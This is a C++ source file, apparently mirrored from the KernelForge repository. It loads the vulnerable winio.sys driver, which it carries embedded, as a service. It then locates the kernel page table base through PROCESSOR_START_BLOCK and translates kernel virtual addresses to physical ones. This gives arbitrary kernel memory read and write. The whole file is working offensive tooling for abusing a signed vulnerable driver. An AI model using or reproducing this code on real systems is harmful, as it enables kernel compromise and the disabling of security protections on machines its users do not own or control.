mirror of
https://github.com/Cr4sh/KernelForge
synced 2026-06-08 10:43:38 +00:00
375 lines
11 KiB
C++
375 lines
11 KiB
C++
#include "stdafx.h"
|
|
|
|
// winio.sys driver binary
|
|
#include "winio_sys.h"
|
|
|
|
/*
|
|
PROCESSOR_START_BLOCK is allocated by winload.efi, so it could be
|
|
anywhere in the low memory.
|
|
*/
|
|
#define PROCESSOR_START_BLOCK_MIN 0
|
|
#define PROCESSOR_START_BLOCK_MAX 0x10000
|
|
|
|
#pragma pack(push, 2)
|
|
|
|
typedef struct _FAR_JMP_16
|
|
{
|
|
BYTE OpCode; // = 0xe9
|
|
WORD Offset;
|
|
|
|
} FAR_JMP_16;
|
|
|
|
typedef struct _PSEUDO_DESCRIPTOR_32
|
|
{
|
|
WORD Limit;
|
|
DWORD Base;
|
|
|
|
} PSEUDO_DESCRIPTOR_32;
|
|
|
|
#pragma pack(pop)
|
|
|
|
typedef struct _PROCESSOR_START_BLOCK *PPROCESSOR_START_BLOCK;
|
|
typedef struct _PROCESSOR_START_BLOCK
|
|
{
|
|
// The block starts with a jmp instruction to the end of the block
|
|
FAR_JMP_16 Jmp;
|
|
|
|
// Completion flag is set to non-zero when the target processor has
|
|
// started
|
|
DWORD CompletionFlag;
|
|
|
|
// Pseudo descriptors for GDT and IDT
|
|
PSEUDO_DESCRIPTOR_32 Gdt32;
|
|
PSEUDO_DESCRIPTOR_32 Idt32;
|
|
|
|
// ...
|
|
|
|
} PROCESSOR_START_BLOCK,
|
|
*PPROCESSOR_START_BLOCK;
|
|
|
|
// other fields offsets
|
|
#define PROCESSOR_START_BLOCK_HalpLMStub 0x70
|
|
#define PROCESSOR_START_BLOCK_Cr3 0xa0
|
|
|
|
// PML4 base of the kernel virtual address space
|
|
static DWORD_PTR m_PML4_Addr = 0;
|
|
|
|
// loldriver device handle
|
|
static HANDLE m_hDevice = NULL;
|
|
//--------------------------------------------------------------------------------------
|
|
static BOOL DriverInitPageTableBase(PDWORD_PTR pPML4_Addr)
|
|
{
|
|
BOOL bRet = FALSE;
|
|
|
|
// allocate memory to read PROCESSOR_START_BLOCK
|
|
PUCHAR Data = (PUCHAR)M_ALLOC(PAGE_SIZE);
|
|
if (Data == NULL)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
// find an exact location of the PROCESSOR_START_BLOCK
|
|
for (DWORD_PTR Addr = PROCESSOR_START_BLOCK_MIN;
|
|
Addr < PROCESSOR_START_BLOCK_MAX; Addr += PAGE_SIZE)
|
|
{
|
|
if (WinioPhysRead(m_hDevice, Addr, PAGE_SIZE, Data))
|
|
{
|
|
PPROCESSOR_START_BLOCK Info = (PPROCESSOR_START_BLOCK)Data;
|
|
|
|
// get page table address and HalpLMStub address
|
|
DWORD_PTR PML4_Addr = *(DWORD_PTR *)(Data + PROCESSOR_START_BLOCK_Cr3);
|
|
DWORD_PTR HalpLMStub = *(DWORD_PTR *)(Data + PROCESSOR_START_BLOCK_HalpLMStub);
|
|
|
|
// check for the sane values
|
|
if (Info->Jmp.OpCode != 0xe9 || Info->CompletionFlag != 1 || HalpLMStub == 0 || PML4_Addr == 0)
|
|
{
|
|
// looks bad
|
|
continue;
|
|
}
|
|
|
|
DbgMsg(__FILE__, __LINE__, "PROCESSOR_START_BLOCK is at "IFMT"\n", Addr);
|
|
DbgMsg(__FILE__, __LINE__, "Kernel mode PML4 address is "IFMT"\n", PML4_Addr);
|
|
|
|
if (pPML4_Addr)
|
|
{
|
|
*pPML4_Addr = PML4_Addr;
|
|
}
|
|
|
|
bRet = TRUE;
|
|
break;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
|
|
break;
|
|
}
|
|
}
|
|
|
|
M_FREE(Data);
|
|
|
|
return bRet;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
static BOOL DriverVirtToPhys(DWORD_PTR PML4_Addr, PVOID AddrVirt, PDWORD_PTR pAddrPhys)
|
|
{
|
|
X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4_entry;
|
|
|
|
DWORD_PTR AddrPhys = PML4_ADDRESS(PML4_Addr) + PML4_INDEX(AddrVirt) * sizeof(DWORD64);
|
|
|
|
if (m_hDevice == NULL)
|
|
{
|
|
// not initialized
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// read PML4 entry
|
|
if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PML4_entry), &PML4_entry.Uint64))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// check if PML4 entry is present
|
|
if (PML4_entry.Bits.Present == 0)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PML4E for "IFMT" is not present\n", AddrVirt);
|
|
return FALSE;
|
|
}
|
|
|
|
X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPT_entry;
|
|
|
|
AddrPhys = PFN_TO_PAGE(PML4_entry.Bits.PageTableBaseAddress) + PDPT_INDEX(AddrVirt) * sizeof(DWORD64);
|
|
|
|
// read PDPT entry
|
|
if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PDPT_entry), &PDPT_entry.Uint64))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// check if PDPT entry is present
|
|
if (PDPT_entry.Bits.Present == 0)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PDPTE for "IFMT" is not present\n", AddrVirt);
|
|
return FALSE;
|
|
}
|
|
|
|
// check for page size flag
|
|
if ((PDPT_entry.Uint64 & PDPTE_PDE_PS) == 0)
|
|
{
|
|
X64_PAGE_DIRECTORY_ENTRY_4K PD_entry;
|
|
|
|
AddrPhys = PFN_TO_PAGE(PDPT_entry.Bits.PageTableBaseAddress) + PDE_INDEX(AddrVirt) * sizeof(DWORD64);
|
|
|
|
// read PD entry
|
|
if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PD_entry), &PD_entry.Uint64))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// check if PD entry is present
|
|
if (PD_entry.Bits.Present == 0)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PDE for "IFMT" is not present\n", AddrVirt);
|
|
return FALSE;
|
|
}
|
|
|
|
// check for page size flag
|
|
if ((PD_entry.Uint64 & PDPTE_PDE_PS) == 0)
|
|
{
|
|
X64_PAGE_TABLE_ENTRY_4K PT_entry;
|
|
|
|
AddrPhys = PFN_TO_PAGE(PD_entry.Bits.PageTableBaseAddress) + PTE_INDEX(AddrVirt) * sizeof(DWORD64);
|
|
|
|
// read PT entry
|
|
if (!WinioPhysRead(m_hDevice, AddrPhys, sizeof(PD_entry), &PT_entry.Uint64))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: WinioPhysMemRead() fails\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// check if PT entry is present
|
|
if (PT_entry.Bits.Present)
|
|
{
|
|
// calculate 4Kb page address
|
|
*pAddrPhys = PFN_TO_PAGE(PT_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_4K(AddrVirt);
|
|
return TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: PTE for "IFMT" is not present\n", AddrVirt);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
// calculate 2Mb page address
|
|
*pAddrPhys = PFN_TO_PAGE(PD_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_2M(AddrVirt);
|
|
return TRUE;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
// calculate 1Gb page address
|
|
*pAddrPhys = PFN_TO_PAGE(PDPT_entry.Bits.PageTableBaseAddress) + PAGE_OFFSET_1G(AddrVirt);
|
|
return TRUE;
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOL DriverInit(void)
|
|
{
|
|
BOOL bStarted = FALSE;
|
|
char szFilePath[MAX_PATH];
|
|
|
|
if (m_hDevice != NULL)
|
|
{
|
|
// already initialized
|
|
return TRUE;
|
|
}
|
|
|
|
if (!LoadPrivileges(SE_LOAD_DRIVER_NAME))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LoadPrivileges() fails\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// make driver file path
|
|
GetSystemDirectory(szFilePath, MAX_PATH);
|
|
strcat_s(szFilePath, "\\drivers\\" WINIO_DRIVER_NAME);
|
|
|
|
// first try to start already existing service
|
|
if (!(bStarted = ServiceStart(WINIO_SERVICE_NAME, szFilePath, FALSE)))
|
|
{
|
|
// copy driver into the drivers directory
|
|
if (DumpToFile(szFilePath, winio_sys, sizeof(winio_sys)))
|
|
{
|
|
// try to create new service
|
|
if (!(bStarted = ServiceStart(WINIO_SERVICE_NAME, szFilePath, TRUE)))
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ServiceStart() fails\n");
|
|
|
|
// remove driver
|
|
DeleteFile(szFilePath);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DumpToFile() fails\n");
|
|
}
|
|
}
|
|
|
|
if (bStarted)
|
|
{
|
|
// get handle of the target device
|
|
if ((m_hDevice = CreateFile(
|
|
WINIO_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0,
|
|
NULL, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "%s kernel driver was successfully loaded\n", WINIO_DRIVER_NAME);
|
|
|
|
// initialize PML4 address
|
|
if (DriverInitPageTableBase(&m_PML4_Addr))
|
|
{
|
|
return TRUE;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInitPageTableBase() fails\n");
|
|
}
|
|
|
|
CloseHandle(m_hDevice);
|
|
m_hDevice = NULL;
|
|
}
|
|
|
|
// remove service
|
|
ServiceStop(WINIO_SERVICE_NAME);
|
|
ServiceRemove(WINIO_SERVICE_NAME);
|
|
|
|
// remove driver
|
|
DeleteFile(szFilePath);
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOL DriverUninit(void)
|
|
{
|
|
char szFilePath[MAX_PATH];
|
|
|
|
if (m_hDevice == NULL)
|
|
{
|
|
// not initialized
|
|
return TRUE;
|
|
}
|
|
|
|
CloseHandle(m_hDevice);
|
|
m_hDevice = NULL;
|
|
|
|
// make driver file path
|
|
GetSystemDirectory(szFilePath, MAX_PATH);
|
|
strcat_s(szFilePath, "\\drivers\\" WINIO_DRIVER_NAME);
|
|
|
|
// remove service
|
|
ServiceStop(WINIO_SERVICE_NAME);
|
|
ServiceRemove(WINIO_SERVICE_NAME);
|
|
|
|
// remove driver
|
|
DeleteFile(szFilePath);
|
|
|
|
return TRUE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOL DriverMemWrite(PVOID Addr, PVOID Data, DWORD_PTR DataSize)
|
|
{
|
|
DWORD_PTR AddrPhys = 0;
|
|
|
|
if (m_hDevice == NULL)
|
|
{
|
|
// not initialized
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// translate virtual address to physical
|
|
if (DriverVirtToPhys(m_PML4_Addr, Addr, &AddrPhys))
|
|
{
|
|
// write to the physical memory location
|
|
if (WinioPhysWrite(m_hDevice, AddrPhys, DataSize, Data))
|
|
{
|
|
return TRUE;
|
|
}
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOL DriverMemRead(PVOID Addr, PVOID Data, DWORD_PTR DataSize)
|
|
{
|
|
DWORD_PTR AddrPhys = 0;
|
|
|
|
if (m_hDevice == NULL)
|
|
{
|
|
// not initialized
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n");
|
|
return FALSE;
|
|
}
|
|
|
|
// translate virtual address to physical
|
|
if (DriverVirtToPhys(m_PML4_Addr, Addr, &AddrPhys))
|
|
{
|
|
// read from the physical memory location
|
|
if (WinioPhysRead(m_hDevice, AddrPhys, DataSize, Data))
|
|
{
|
|
return TRUE;
|
|
}
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
// EoF
|